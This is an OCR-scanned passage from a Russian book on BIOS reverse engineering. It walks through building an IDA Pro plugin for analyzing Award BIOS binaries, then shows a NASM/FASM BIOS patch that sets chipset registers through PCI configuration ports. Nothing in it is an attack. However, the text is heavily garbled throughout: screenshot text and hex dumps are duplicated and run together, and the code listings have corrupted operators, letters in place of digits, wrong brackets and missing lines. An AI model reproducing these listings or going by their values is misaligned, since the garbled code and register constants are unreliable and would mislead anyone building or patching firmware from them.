Я пользуюсь расширенной версией IDA Pro 4.9 и ее SDK, так как бесплатная версия IDA Pro 4.3 не поддерживает дополнительных модулей. Наш первый пример модуля будет не слишком сложным. Я лишь покажу, как создать простой модуль и исполнить его в IDA Pro. Данный модуль при запуске не выполняет никаких полезных действий, а лишь выводит сообщение в панели сообщений IDA Pro. Последовательность шагов для создания данного модуля следующая:
Создайте новый проект .NET. Для этого выберите последовательность пунктов меню File | New | Project или воспользуйтесь "горячей" комбинацией <Ctrl>+<Shift>+<N>.
Разверните папку Visual C++ Projects. В этой папке разверните папку Win32 и в правой панели диалогового окна New Project выберите значок Win32 Project. В поле Name введите имя проекта и нажмите кнопку ОК. Результат выполнения шагов 1 и 2 показан на рис. 2.16.
Рис. 2.16. Новый проект для создания модуля IDA Pro
• Нажатием кнопки ОК в конце шага 2 запускается Win32 Application Wizard (Мастер приложений Win32). На закладке Overview выберите опцию Windows Application и перейдите на закладку Application Settings.
33ак 1387
В группе переключателей Application type выберите переключатель DLL, а в группе флагов Additional options установите флаг Empty project (рис. 2.17). Сохраните проект, нажав кнопку Finish.
Рис. 2.17. Установки приложения для проекта модуля IDA Pro
Рис. 2.18. Добавление исходного файла в проект модуля IDA Pro
Чтобы добавить в проект модуля необходимые файлы с исходными кодами (*.срр, *.с), в панели Solution Explorer, в правой части окна Visual Studio .NET 2003, нажмите правой кнопкой мыши папку Source Files и в открывшемся контекстном меню выберите пункт меню Add | Add New Item... или Add | Add Existing Item... (см. рис. 2.18). Сначала создайте новый исходный файл. Назовем его main.cpp. Затем скопируйте содержимое главного исходного файла образца модуля из комплекта SDK IDA Pro (из каталога sdk\plugins\vcsample\strings.cpp) в файл main.cpp.
Откройте окно свойств проекта. Для этого выберите пункт меню Project \ projectjiame Properties... (рис. 2.19).
~ Sample - Microsoft Visual O* (design) - main.cpp'
File gdit View . Project ^ guild Qebug Tools Window
1 ^ fe ** ts ’**Start Pace mair ~1 ^ fe ** ts ’**Start Pace mair ~iGlojak)iGlojak)m 1m 1////931931ThisThe p;Note:iThisThe p;Note:iAdd Class.Add Resource..Add New Item.. Ctrl+Shift+AAdd Existing Item... Shift+Ait+A New FolderAdd Class.Add Resource..Add New Item.. Ctrl+Shift+AAdd Existing Item... Shift+Ait+A New FolderAdd Web ReferenceSet as Startup ProtectAdd Web ReferenceSet as Startup ProtectШ Sample gropertiesШ Sample gropertiesDetDetpitpit
1 ^ fe ** ts ’**
Start Pace mair ~
1 ^ fe ** ts ’**
Start Pace mair ~
iGlojak)
iGlojak)
m 1
m 1
//
//
9
31
9
31
This
The p;
Note:i
This
The p;
Note:i
Add Class.
Add Resource..
Add New Item.. Ctrl+Shift+A
Add Existing Item... Shift+Ait+A New Folder
Add Class.
Add Resource..
Add New Item.. Ctrl+Shift+A
Add Existing Item... Shift+Ait+A New Folder
Add Web ReferenceSet as Startup Protect
Add Web ReferenceSet as Startup Protect
Ш Sample groperties
Ш Sample groperties
Det
Det
pit
pit
Рис. 2.19. Открытие страницы свойств проекта
В открывшемся окне свойств проекта (рис. 2.20) подготовьте окружение компиляции, изменив следующие установки:
C/C++|General: Установите для опции Detect 64-bit Portability Issue checks значение No.
° C/C++|General: Установите для опции Debug Information Format значение Disabled.
° C/C++|General: Добавьте каталог SDK Include в поле Additional Include Directories, t. e. C:\Program Files\IDA\SDK\Include.
° C/C++|General: Добавьте объявления__NT__; IDP ; EA64
в Preprocessor Definitions. Объявление ea64 требуется для 64битной версии IDA Pro, т. e. версии, в которой применяется 64-битная адресация для базы данных дизассемблированного файла и которая поддерживает системы команд архитектуры х86-64. В противном случае, объявление __ЕАб4не нужно.
Рис. 2.20. Окно свойств проекта подключаемого модуля IDA Pro
C/C++|Code Generation: Выключите Buffer Security Check, установите Basic Runtime Checks на значение Default, а для опции Runtime Library установите значение Single Threaded.
о C/C++IAdvanced: Установите для опции Calling Convention значение stdcall.
Linker|General: Измените выходной файл c *.dll на *.рб4 (для модулей 64-битной версии IDA Pro) или на *.plw (для модулей 32-битной версии IDA Pro).
Linker]General: Добавьте путь к файлу libvc.wXX (т. е. Iibvc.w32 для 32-битного модуля или libvc.w64 для 64-битного модуля) в Additional Library Directories. Например, C:\Program Files\IDA\SDK\libvc.w64.
Linker|Input: Добавьте idaJib в Additional Dependencies.
Linker|Debugging: Установите опцию Generate Debug Info в значение No.
Linker|Command Line: Добавьте/EXPORT: plugin.
Теперь среда компиляции готова к работе. Откройте файл main.cpp. Его содержимое должно выглядеть примерно так, как показано в листинге 2.5.
Листинг 2.5. Пример входной функции модуля IDA Pro (фрагмент файла strings.cpp, поставляемого в качестве примера дополнительного модуля 0 составе IDA Pro SDK)
//
//Метод модуля
//
IIГлавная функциямодуля.
//
//Она вызывается,когда пользовательвыбирает данный модуль.
//
//arg — Входной аргумент. Его можно указать в файле
/ /plugins.cfg. Значение по умолчанию - нуль.
//
void idaapi run(int arg)
{
// msg ("Информация: текущая позиция курсора: %а\п", get_screen_ea());
1
Отредактируйте функцию run, чтобы она выглядела, как показано в листинге 2.5. Функция run вызывается, когда модуль IDA Pro активизируется в рабочей среде IDA Pro. В образце модуля в SDK функция run выводит сообщение в панели сообщений IDA Pro. Чтобы исполнить успешно скомпилированный модуль (*.plw или *.р64), скопируйте его в папку модулей (т. е. в папку plugins) в установочной папке IDA Pro и нажмите "горячую" клавишу, назначенную модулю. "Горячая" клавиша, назначаемая модулю, задается установкой желаемого значения переменной wanted_hotkey[] в файле main.cpp. Кроме того, модуль можно запустить, введя команду RunPiugin в диалоговое окно сценариев IDA Pro и нажав кнопку ОК (рис. 2.21).
Обратите внимание, что элементы пути к файлу модуля разделены при помощи двойной обратной косой черты. Удвоение символа обратной косой Черты необходимо, так как, в соответствии с синтаксическими правилами ^ыка С, одиночная обратная косая черта является управляющим символом cape character). В результате исполнения сценария в панели сообщений Равного окна IDA Pro отобразится сообщение, информирующее о загрузке м°дуля (рис. 2.22).
Рис. 2.21. Запуск модуля IDA Pro
Текст сообщения определяется значением параметра, который передается в функцию msg (листинг 2.5). Функция msg определяется в файле sdk/include/kernwin.hpp следующим образом (листинг 2.6).
Листинг 2.6. Обь иление и определение функции msg
// вывод форматной строки в окно сообщений
// [Аналог функции printfO]
Ц Формат сообщения в стиле функции printfO.
ц Функция msg() делает то же самое, что и функция printfO, //но использует строку форматирования из IDA.HLP
//
// Функция возвращает количество выведенных байт.
//
// все, что выводится в панель сообщений, можно записывать в
// текстовый файл. Для этого необходимо определить переменную
// окружения IDALOG следующим образом:
//set IDALOG = idalog.txt
inline int msg (const char * format, ...) (
va_list va;
va_start(va, format);
int nbytes = vmsg( format, va);
va_end(va) ;
return nbytes;
Функция msg может служить полезным отладочным инструментом при разработке модулей IDA Pro. С ее помощью можно выводить в панель сообщений IDA Pro необходимую информацию о поведении исследуемого модуля. Программисты, имеющие опыт написания приложений на языках C/C++, сразу увидят, что функция msg представляет собой аналог функции printf в языках C/C++. '
Знания и навыки, приобретенные при разработке этого простого модуля, могУт послужить основой для разработки другого, более сложного, модуля, снабженного графическим пользовательским интерфейсом (graphical user mterface, GUI). Модуль, который будет рассмотрен в качестве следующего пРимера, основан на использовании диалоговых окон, и при его исполнении применяется цикл обработки сообщений Windows. Этот модуль будет более гнбким, нежели модуль, использующий сценарии. Наличие модулей IDA Pro
с графическим интерфейсом часто оказывается очень полезным. Именно такой пример мы и рассмотрим в оставшейся части данной главы.
В рассматриваемом модуле активно применяется Win32 API (Windows application programming interface — интерфейс прикладного программирования Windows). Поэтому, если у вас нет опыта работы с Win32 API, я рекомендую вам прочитать книгу Чарльза Петцольда "Программирование для Windows 95", т. 1 и 2 издательства БХВ-Петербург. С помощью Win32 API создайте диалоговое окно для модуля IDA Pro. Информацию, необходимую для этого, можно найти в только что упомянутой книге Ч. Петцольда в главах 1, 2, 3 и И. Хотя исходный код примера и сопровождается подробными комментариями, опыт работы с Win32 API для его понимания крайне желателен.
Начальный этап создания этого модуля ничем не отличается от аналогичных операций, выполняемых при создании предыдущего. Соответственно, создайте модуль, который выводит сообщение в панели сообщений IDA Pro. Теперь требуется модифицировать три основных функции в исходном коде модуля, а именно init, term и run. Функция term вызывается для завершения работы модуля; функция init вызывается при запуске модуля (загрузке в рабочую среду IDA Pro); наконец функция run вызывается, когда модуль активизируется путем нажатия соответствующей "горячей” клавиши или путем ввода команды RunPiugin в окно запуска сценариев.
Пользовательский интерфейс инициализируется в функции init, а ресурсы пользовательского интерфейса очищаются в функции term при завершении работы модуля. Теперь рассмотрим исходный код модуля, который представлен в листинге 2.7.
Примечание
Код, приведенный в листинге 2.7, представлен в сокращенном варианте вследствие ограниченности объема этой книги. Полную версию модуля для анализа двоичного файла BIOS можно найти на компакт-диске, прилагаемом к данной . книге. Обратите внимание, что для успешной компиляции этого модуля вам потребуется IDA Pro version 4.9 SDK и Microsoft Visual Studio 2003 (или более новая версия).
Листинг 2.7. Каркас модуля для анализа двоичного тайла BIOS
/*
* Имя файла: main.cpp
* Главный файл модуля для анализа двоичного файла Award BIOS.
* Этот файл отвечает за пользовательский интерфейс модуля.
* Его можно скомпилировать при помощи Microsoft Visual C++.
*/
#include <windows.h>
#include <ida.hpp>
#include <idp.hpp>
#include <expr.hpp>
#include <bytes.hpp>
#include <loader.hpp>
#include <kernwin.hpp>
#include "resource.h"
#include "analyzer_engine.hpp"
// Дескрипторы окон
static HWND hMainWindow;
static HWND h_plugin_dlg;
static HMODULE hModule;
static BOOL CALLBACK plugin_dlg_proc( HWND hwnd_dlg, UINT message, WPARAM wParam, LPARAM 1 Param )
(.
ea_t dest_seg, src_seg, last_seg;
ea_t start_addr, end_addr; // Диапазон анализируемых адресов
char dest seg name[QxFFl;
HWND h_btn;
static bool enable_entry_point;
switch (message) (
case WM_INITDIALOG:
(
h_plugin_dlg = hwnd_dlg;
H
// Инициализируем функцию, необходимую для анализа.
И
// Устанавливаем флаг точки входа. SendMessage(GetDlgItem(hwnd_dlg, IDC_CHK_ENTRYPOINT),
BM_SETCHECK, 1, 0) ; enable_entry_point = true;
}return TRUE;
case WM_COMMAND:
switch (LOWORD (wParam)) { case IDC_ANALYZE_BINARY: { static const char analyze_form[] =
"Анализ двоичного файла\n" "Введите начальный и конечный "адреса анализируемого диапазона\п\п° "<~Н~ачальный адрес :N:8:8::>\n" "<~К~онечный адрес :N:8:8::>\п" ;
start_addr = get_screen_ea(); end_addr = get_screen_ea();
if ( 1 == AskUsingForm_c (analyze_form, &start_addr, &end_addr)) {
msg("IDC_ANALYZE: start_addr = 0x%X\n", start_addr);
msg("IDC_ANALYZE: end_addr = 0x%X\n", end_addr);
analyze_binary(start_addr, end_addr); }
}return TRUE;
case IDC_RELOCATE:
{ static const char relocate_form[] = "Перемещение сегмента\n" "Введите адрес начального " "и конечного сегментов\п" "Внимание: Исходный сегмент будет удален \п” " и адрес сегмента будет смещен" " влево на четыре бита\п\п"
"<~И~сходный адрес сегмента :N:8:8::>\n" "<~К~онечный адрес сегмента :N:8:8::>\n" "<~И~мя конечного сегмента :А:8:8::>\п";
src_seg = (get_screen_ea() & OxFFFFOOOO ) » 4;
if( 1 == AskUsingForm_c(relocate_form, &src_seg, &dest_seg, dest_seg_name))
{ relocate_seg(src_seg, dest_seg, dest_seg_name);
}
}return TRUE;
case IDC_COPY:
{
static const char copy_form[] = "Копирование сегментаXn" "Введите адрес исходного " "и конечного сегментовХп" "Внимание: Если конечный сегмент существует," "он будет перезаписан Хп" " и адрес сегмента будет смещен" " влево на четыре битаХпХп"
"<~И~сходный адрес сегмента :N:8:8::>\n" "<~К~онечный адрес сегмента :N:8:8::>\п"
src_seg = (get_screen_ea() & OxFFFFOOOO ) » 4;
if( 1 == AskUsingForm_c(copy_form, &src_seg, &dest_seg))
{ copy_seg(src_seg, dest_seg);
}
}return TRUE;
case IDC_CREATE:
{
static const char create_form[] = "Создание сегмента\п" "Введите адрес и "
"имя нового сегментаХп"
"Внимание: начальный адрес сегмента будет " "смещен влево на четыре бита\п\п" "<~Н~ачальный адрес :N:8:8::>\n" "<~И~мя :А:8:8::>\п";
if( 1 == AskUsingForm_c(create_form, &dest_seg, dest_seg_name))
(
msg("IDC_CREATE: dest_seg = Ox%X\n", dest_seg);
ini t_seg (dest_seg, dest_seg_name) ; }
}return TRUE;
case IDC_GO2_ENTRYPOINT:
{
last_seg = (inf.maxEA » 4) - 0x1000;
init_seg(last_seg, "F_seg");
relocate_seg(last_seg, OxFOOO, "F000");
jumpto( (OxFOOO « 4) + OxFFFO);
// Отключаем соответствующую кнопку, чтобы // избежать негативных последствий.
h_btn = GetDlgItem(hwnd_dlg, IDC_GO2_ENTRYPOINT); EnableWindow(h_btn, false) ;
/ /
//В следующий раз, создайте модуль загрузки BIOS!
М
}return TRUE;
case IDC_CHK_ENTRYPOINT:
{
i f (enable_entry„point)
{
SendMessage(GetDlgItem(hwnd_dlg, IDC_CHK_ENTRYPOINT), BM_SETCHECK, 0,0);
// Отключаем соответствующую кнопку, чтобы // избежать негативных последствий.
h_btn = GetDlgltem(hwnd_dlg, IDC_G02_ENTRYP0INT); EnableWindow(h_btn, false);
// Устанавливаем соответствующий флаг. enable_entry_point = false;
} else {
SendMessage(GetDlgltem(hwnd_dlg, IDC_CHK_ENTRYPOINT), BM_SETCHECK, 1, 0);
// Отключаем соответствующую кнопку, чтобы // избежать нежелательных результатов.
h_btn = GetDlgltem(hwnd_dlg, IDC_GO2_ENTRYPOINT); EnableWindow(h_btn, true);
// Устанавливаем соответствующий флаг. enable_entry_point = true;
)
)return TRUE;
case IDC_LIST_SEG:
{ list_segments();
}return TRUE;
case IDC_LIST_FUNC:
{ list_functions();
}return TRUE;
}return TRUE;
case WM_CLOSE: {
ShowWindow(hwnd_dlg, SW_HIDE);
}return TRUE;
)
return FALSE;'
}
И и
П Инициализация.
//
// Эта функция будет вызвана в IDA только один раз.
// Если эта функция возвратит PLUGIN_SKIP, // IDA больше не будет загружать модуль.
// Если эта функция возвратит PLUGIN_OK, IDA выгрузит модуль, но будет
// помнить, что модуль "согласился" работать с базой данных.
// Модуль будет загружен опять, если пользователь вызовет его,
// нажав его "горячую" клавишу или выбрав его в меню.
// После второй загрузки, модуль останется в памяти.
// Если эта функция возвратит PLUGIM_KEEP, // IDA оставит модуль в памяти.
// В этом случае, функция инициализации может привязаться к точке
// модуля процессора и точке извещения пользовательского интерфейса.
// См. функцию hook_to_notification_point(). И
Не этом примере я выбрал формат вводного файла и принял решение, что делать.
// Вы можете выбрать любые другие условия, чтобы решить, что делать —
// соглашаетесь ли вы работать с базой данных или нет. И int idaapi init(void) {
/*
// Выберите нужный процессор здесь, т. е. Pentium 4 или Pentium 3, // чтобы можно было создавать комментарии
// для специфического процессора.
if ( strncmp(inf.procName, "metapc", 8) != О ) {
return PLUGIN_SKIP; }
*/
hMainWindow = (HWND)callui(ui get hwnd).votr;
hModule = GetModuleHandle("award_bios_analyzer.p64");
return PLUGIN_KEEP;
)
// //
// Завершение.
//
// Обычно, этот обратный вызов пустой.
//
// IDA вызовет эту функцию, когда пользователь
I/ потребует прекратить работу.
// В случае аварийного завершения, функция не вызывается.
void idaapi tenn(void) (
DestroyWindow(h_plugin_dlg);
h_plugin_dlg = NULL;
msg("Модуль анализа bios завершил работу...\n"); } // //
II Метод модуля
//
И Это главная функция модуля.
И Она вызывается, когда пользователь выбирает модуль. //
// arg - входной аргумент; его можно указать в файле // plugins.cfg file. Значение по умолчанию — нуль. // //
void idaapi runfint arg) ( "
msg("Модуль для анализа двоичного файла Award BIOS активирован...\n");
if(NULL == h_plugin_dlg) {
h_plugin_dlg = CreateDialog( HModule, MAKEINTRESOURCE(IDD_MAIN) , hMainWindow, plugin_dlg_proc);
)
lf(h_plugin_dlg)
{ ShowWindow(h_plugin_dlg, SW_SHOW);
}
}
И char comment[] = " Это модуль для анализа двоичного файла Award BIOS ";
char help[] = "Модуль анализа BIOS\n\n"
"Этот модуль анализирует двоичный файл Award BIOS\n";
И
// Это предпочтительное имя модуля в меню.
// Предпочтительное имя можно изменить в файле plugins.cfg.
char wanted_name[] = "Новейший модуль анализа BIOS";
// Это предпочтительная "горячая" клавиша для модуля.
// Предпочтительную "горячую" клавишу можно изменить в файле plugins.cfg.
// Внимание: IDA не информирует о неправильной "горячей" клавише.
// Программа просто отключает эту клавишу, char wanted_hotkey[] = "Alt-U"; // И
И БЛОК ОПИСАНИЯ МОДУЛЯ
И
Ц
plugin_t PLUGIN =
{
IDP_INTERFACE_VERSION,
0,
//
Флаги модуля
init,
//
Инициализация.
term,
//
Завершение; значение этого указателя может быть NULL
run,
//
Вызываем модуль.
comment,
//
Пространный комментарий о модуле;
//
его можно вывести в строке состояния
//
или как подсказку.
help,
//
Многострочная справка о модуле.
wanted—пате, // Предпочтительное короткое имя модуля. wanted_hotkey // Предпочтительная "горячая" клавиша модуля.
Модуль, создаваемый кодом в листинге 2.7, показан на рис. 2.23.
Рис. 2.23. Модуль анализа двоичного кода BIOS в действии
еперь давайте подробно рассмотрим исходный код, представленный в листинге 2.7. В первую очередь, обратите внимание, что ресурс диалогового ок-
Добавляется к проекту модуля таким же образом, как и к другим проектам Ш32. Модуль активизируется вызовом функции init. Эта функция вызываетСя> когда модуль впервые загружается в рабочую среду IDA Pro. В листинге 2.7
эта функция инициализирует статические переменные, в которых сохраняются дескриптор главного окна и дескриптор модуля (листинг 2.8).
Листинг 2.8. Функция, инициализирующая дескриптор главного окна и дескриптор модуля (фрагмент Листинга 2,7)
int idaapi init(void)
{
// Часть строк опущена для краткости...
// Получаем дескриптор главного окна IDA Pro.
hMainWindow = (HWND)callui(ui get hwnd).vptr;
// Получаем дескриптор модуля.
hModule = GetModuleHandle("award_bios_analyzer.p64");
return PLUGIN_KEEP;
}
Эти переменные используются в функции run для инициализации диалогового окна пользовательского интерфейса при помощи вызова CreateDialog (листинг 2.9).
Листинг 2.9. Функция run, инициализирующая диалоговое окно пользовательского интерфейса
void idaapi run(int arg)
{
// Часть строк кода пропущена для краткости...
if(NULL == h_plugin_dlg)
{
h_plugin_dlg = CreateDialog( hModule, MAKEINTRESOURCE(IDD_MAIN), hMainWindow, plugin_dlg_proc);
}
if(h_plugin_dlg)
{
ShowWindow (h_plugin_dlg, SW_SHOW) ;
}
}
функция CreateDialog - это функция Win32 API для создания немодального диалогового окна. Немодальное диалоговое окно создается для того, чтобы иметь один пользовательский интерфейс для различных задач. Обратите внимание, что диалоговое окно создается только один раз, во время сеанса дизассемблирования в функции run. Окно может быть свернуто или восстановлено по желанию пользователя. Функция run вызывается каждый раз, когда пользователь активизирует модуль. Диалоговое окно модуля показывается при помощи функции run, а скрывается при помощи оконной процедуры для диалогового окна модуля, т. е. функции plugin_dlg_proc. Диалоговое окно скрывается при помощи обработчика сообщений wm_close диалогового окна модуля. Этот обработчик сообщений реализуется следующим кодом в оконной процедуре piugin_dig_proc диалогового окна (листинг 2.10).
Листинг 2.10. Обработчик сообщений WM_CLOSE в оконной процедуре It. iin_dlg proc
case WM_CLOSE:
{
Shov»Window(hwnd_dlg, SW_HIDE) ;
}return TRUE;
Ресурсы, используемые модулем, освобождаются с помощью функции term. Эта функция вызывается, когда модуль деактивируется или выгружается. Она уничтожает окно и устанавливает значение дескриптора соответствующего диалогового окна на null, как показано в листинге 2.11.
Листинг 2.11. Функция term, освобождающая р :урсы, используемые модулем
void idaapi term (void) {
DestroyWindow (h_plugin_dlg) ;
h_plugin_dlg = NULL;
H Часть строк кода пропущена для краткости.
1*
Основная часть работы, осуществляемая пользовательским интерфейсом модуля, выполняется функцией piugin_dlg_proc. Точка входа для этой функции Предается как один из параметров функции CreateDialog при создании поль- 3°вательского интерфейса модуля. Эта функция обрабатывает оконные сообщения, полученные модулем. Оконные сообщения, входящие в piugin_dig_proc,
74 Часть I. Основные концепции технологии BIOS обрабатываются оператором switch, и по результатам обработки предпринимается соответствующее действие. Один из "обработчиков" этого большого оператора switch осуществляет полуавтоматический анализ двоичного файла Award BIOS. Вы сможете самостоятельно разработать такой анализатор двоичных файлов BIOS после прочтения главы 5, посвященной рассмотрению основных концепций анализа двоичного кода BIOS.
Анализатор запускается нажатием кнопки Analyze в пользовательском интерфейсе модуля. Рассмотрим механизм работы этой кнопки. Как видно из листинга 2.7, оконная процедура диалогового окна называется plugin_dlg_proc. В этой функции имеется обширный оператор switch, который проверяет тип поступающих оконных сообщений.
В случае оконного сообщения wm_command, т. е. при нажатии кнопки, параметр low_word wparam (младше 16 битов) оконной процедуры будет содержать resource_id соответствующей кнопки.
Этот параметр используется для определения кнопки Analyze, как показано в листинге 2.12.
Листинг 2.12. Использование параметра tow_word wparam для определения кнопки Analyze
case WM_COMMAND:
swi tch (LOWORD (wParam))
{
case IDC_ANALYZE_BINARY:
{
static const char analyze_£orm [] = "Анализ двоичного файла\n"
"Ниже введите начальный и конечный "адрес для анализирования\п\п" "<~Н~ачальный адрес :N:8:8::>\n" "<~К~онечный адрес :N:8:8::>\n" ;
start_addr = get_screen_ea();
end_addr = get_screen_ea();
if( 1 == AskUsingForm_c(analyze_form, &start_addr, &end_addr))
{
msg("IDC_ANALYZE: start_addr = Ox%X\n", start_addr);
msg("IDC_ANALYZE: end_addr = Ox%X\n", end_addr);
analyze_binary (start_addr, end_addr);
}
}return TRUE;
Цо нажатию кнопки выводится новое диалоговое окно. Это окно создается необычным образом — вызовом экспортируемой функции IDA Pro AskUingForm_c. Определение этой функции можно найти в файле kernwin.hpp, который находится во вложенной папке include установочного каталога IDA Pro SDK. В этом диалоговом окне пользователю предлагается ввести начальный и конечный адреса подлежащей анализу области двоичного файла, загруженного в IDA Pro (рис. 2.24).
Рис. 2.24. Модуль анализа двоичных файлов — опция анализа области двоичного файла
При нажатии кнопки ОК, начальный адрес и конечный адрес передаются Функции anaiyze_binary в качестве входных параметров. Функция апа- lyze_binary анализирует дизассемблированный двоичный файл BIOS в текущей открытой базе данных IDA Pro. Чтобы понять внутренние механизмы Работы этой функции, необходимо глубокое понимание принципов дизассемблирования BIOS (особенно Award BIOS). Данная функция сканирует Двоичный файл BIOS и дизассемблирует его на основании "двоичной сигна- тУры", найденной в нем. Впоследствии, приобретя более полные знания об обратной разработке BIOS, вы сможете разработать более эффективный ана- Дизатор.
Глава 3
Подготовка к разработке прикладного программного обеспечения BIOS
Введение
В этой главе приведена информация, необходимая для разработки приложений, связанных с BIOS, в особенности "заплаток" BIOS и кода BIOS плат расширения PCI. В paid. 3.1 объясняется, как создать плоский двоичный файл из исходного кода на языке ассемблера. В последующих разделах обсуждается создание плоского двоичного файла с помощью GCC (GNU Compiler Collection — набор компиляторов проекта GNU). Кроме того, рассматривается сценарий компоновки GCC и его роль в разработке плоского двоичного файла.
Разработка приложений BIOS на "чистом" ассемблере
Каждому системному программисту известно, что BIOS — это программное обеспечение, работающее, так сказать, на "голом железе". Это программное обеспечение взаимодействует напрямую с аппаратными средствами, без каких бы то ни было "посредников". Таким образом, между кодом BIOS •’ кремниевыми интегральными схемами нет никаких промежуточных уровне*1 программного обеспечения. Это значит, что любой код, который требуй внедрить в BIOS (это может быть, например, обновление или разработан^*1 самостоятельно "заплатка"), должен иметь формат плоского двоичного файл3 Термин плоский двоичный файл подразумевает однородный файл неисполнЛе мого формата, не содержащий заголовков или иных структур. Иными слов3 ми, плоский двоичный файл может содержать только чистый машинный к0-1
и независимые данные. Существует лишь одно исключение из этого правилу — для BIOS плат расширения существует формат заголовка, которого необходимо придерживаться. В этом разделе рассматривается процедура генерации плоского двоичного файла из файла, содержащего исходный код на языке ассемблера при помощи трансляторов1 NASM (netwide assembler — сетевой ассемблер) и FASM (flat assembler — плоский ассемблер).
NASM — это бесплатно распространяемый ассемблер, который можно скачать с сайта http://sourceforge.net/projects/nasm. Имеются версии NASM для Windows и для Linux. Программа довольно мощная, и на данном этапе ее возможностей нам будет достаточно. В листинге 3.1 показан исходный код "заплатки", которую я наложил на мою BIOS. Данный код разработан на языке ассемблера и предназначен для трансляции с помощью NASM.
Листинг 3.1. Исходный код заплатки BIOS на языке NASM
НАЧАЛО TWEAK.ASM
BITS 16 ; Указываем NASM на необходимость добавить ; префикс 66 к 32-битным инструкциям.
section . text
start: pushf push eax push dx
mov eax, ioq_reg ; Накладываем "заплатку" на регистр ioq чипсета, ^ov dx, in_port out dx, eax mov dx, out_port in eax, dx Or eax, ioq_mask °^ dx, eax
^ eax, dram_reg ; Накладываем "заплатку" на контроллер DRAM HlOv 4
(,^ in_port ; чипсета, т. e. на часть, контролирующую чередование
ncerleaving) .
°ut dx, eax
^ dx, out_port
ln eax, dx
Or eQx, dram_mask
яторы с языка ассемблера называютсяяторы с языка ассемблера называютсяассемблерами (assemblers).ассемблерами (assemblers).
яторы с языка ассемблера называются
яторы с языка ассемблера называются
ассемблерами (assemblers).
ассемблерами (assemblers).
out dx, eax
mov eax, bank_reg ; Разрешаем одновременную активацию ; страниц в разных банках памяти, mov dx, in_port out dx, eax mov dx, out_port in eax, dx or eax, bank_mask out dx, eax
mov eax, tlb_reg ; Активируем поиск в буфере быстрого преобразования адреса. mov dx, in_port out dx, eax mov dx, out_port in eax, dx or eax, tlb_mask out dx, eax pop dx pop eax
popf
clc ; Указываем, что эта процедура POST завершилась успешно, retn ; Возвращаемся в район заголовка файла ROM.
section .data
in_port
equ 0cf8h
out_port
equ Ocfch
dram_mask
equ 00020202b
dram_reg
equ 80000064b
ioq_mask
equ 00000080b
ioq_reg
equ 80000050b
bank_mask
equ 20000840b
bank_reg
equ 80000068b
tlb_mask
equ 00000008b
tlb_reg
equ 8000006ch
КОНЕЦ TWEAK.ASM
Этот код ассемблируется при помощи NASM, запускаемого из командной строки следующим образом:
nasm -fbin tweak.asm -о tweak.bin
результатом работы ассемблера будет файл tweak.bin. В листинге 3.2 показан шестнадцатеричный дамп этого двоичного файла, сделанный с помощью редактора Hex Workshop v3.02.
Адрес00000000000000100000002000000030000000400000005000000060Адрес00000000000000100000002000000030000000400000005000000060Шестнадцатеричные значенияЗначения ASCII9С66 505266В850000080BAF80С66EFBA.fPRf.Pf.FC0C 66ED660D8000000066EF66B86400..f.ff.f.d0080 BAF8 0C66 EFBA FC0C 66ED 660D 0202 f....f.f..0200 66EF66B868000080BAF80C66EFBA..f.f.hf.FC0C 66ED660D4008002066EF66B86C00..f.f.@..f.f.l0080 BAF8 0C66 EFBA FC0C 66ED 66OD 0800 f....f.f..0000 66EF 5A66 589D F8C3..f.ZfX...Шестнадцатеричные значенияЗначения ASCII9С66 505266В850000080BAF80С66EFBA.fPRf.Pf.FC0C 66ED660D8000000066EF66B86400..f.ff.f.d0080 BAF8 0C66 EFBA FC0C 66ED 660D 0202 f....f.f..0200 66EF66B868000080BAF80C66EFBA..f.f.hf.FC0C 66ED660D4008002066EF66B86C00..f.f.@..f.f.l0080 BAF8 0C66 EFBA FC0C 66ED 66OD 0800 f....f.f..0000 66EF 5A66 589D F8C3..f.ZfX...
Адрес
00000000
00000010
00000020
00000030
00000040
00000050
00000060
Адрес
00000000
00000010
00000020
00000030
00000040
00000050
00000060
Шестнадцатеричные значенияЗначения ASCII
9С66 505266В850000080BAF80С66EFBA.fPRf.Pf.
FC0C 66ED660D8000000066EF66B86400..f.ff.f.d
0080 BAF8 0C66 EFBA FC0C 66ED 660D 0202 f....f.f..
0200 66EF66B868000080BAF80C66EFBA..f.f.hf.
FC0C 66ED660D4008002066EF66B86C00..f.f.@..f.f.l
0080 BAF8 0C66 EFBA FC0C 66ED 66OD 0800 f....f.f..
0000 66EF 5A66 589D F8C3..f.ZfX...
Шестнадцатеричные значенияЗначения ASCII
9С66 505266В850000080BAF80С66EFBA.fPRf.Pf.
FC0C 66ED660D8000000066EF66B86400..f.ff.f.d
0080 BAF8 0C66 EFBA FC0C 66ED 660D 0202 f....f.f..
0200 66EF66B868000080BAF80C66EFBA..f.f.hf.
FC0C 66ED660D4008002066EF66B86C00..f.f.@..f.f.l
0080 BAF8 0C66 EFBA FC0C 66ED 66OD 0800 f....f.f..
0000 66EF 5A66 589D F8C3..f.ZfX...
Чтобы убедится в том, что ассемблер генерирует желаемый код, выходной файл можно проанализировать при помощи ndisasm (netwide disassembler — сетевой дизассемблер) или какого-либо другого дизассемблера.
Теперь давайте рассмотрим другой, относительно более простой в использовании ассемблер — FASM. Ассемблер FASM подходит для разработки заплаток BIOS, так как он генерирует плоский двоичный файл по умолчанию. Как и NASM, FASM тоже распространяется бесплатно; скачать его можно с сайта http://flatassembler.net/download.php. В этом разделе мы рассмотрим приемы работы с версией ассемблера FASM для Windows — FASMW. Сначала модифицируем предыдущую заплатку под синтаксис ассемблера FASM. Соответствующий исходный код показан в листинге 3.3.
Листинг 3.3. Исходный код заплатки BIOS на языке FASM
USE16 ; УказываемUSE16 ; УказываемНАЧАЛО TWEAK.ASM 16-битный реальный режим
USE16 ; Указываем
USE16 ; Указываем
in_port = 0cf8h out_port = Ocfch dramjmask = 00020202b
dram_reg = 80000064b ioq_mask = 00000080b ioq_reg = 80000050b bank_mask = 20000840b bank_reg = 80000068b tlb_mask = 00000008b tlb_reg = 8000006ch
start:
pushf
push eax push dx mov eax, ioq_reg; Накладываем "заплатку" на регистр ioq
; чипсета. mov dx, in_port out dx, eax mov dx, out_port in eax, dx or eax, ioqjmask
mov eax, dram_reg; Накладываем "заплатку" на котроллер DRAM
mov dx, in_port; чипсета, т. e. на часть, контролирующую
; чередование (interleaving). out dx, eax mov dx, out_port in eax, dx or eax, dram_mask out dx, eax
mov eax, bank_reg; Разрешаем одновременную активацию
; страниц в разных банках памяти.
mov dx, in_port out dx, eax mov dx, out_port in eax, dx or eax, bank_mask out dx, eax
mov eax, tlb_reg; Активируем поиск в буфере быстрого
; преобразования адреса.
mov dx, in_port out dx, eax
mov dx, out_port
in eax, dx
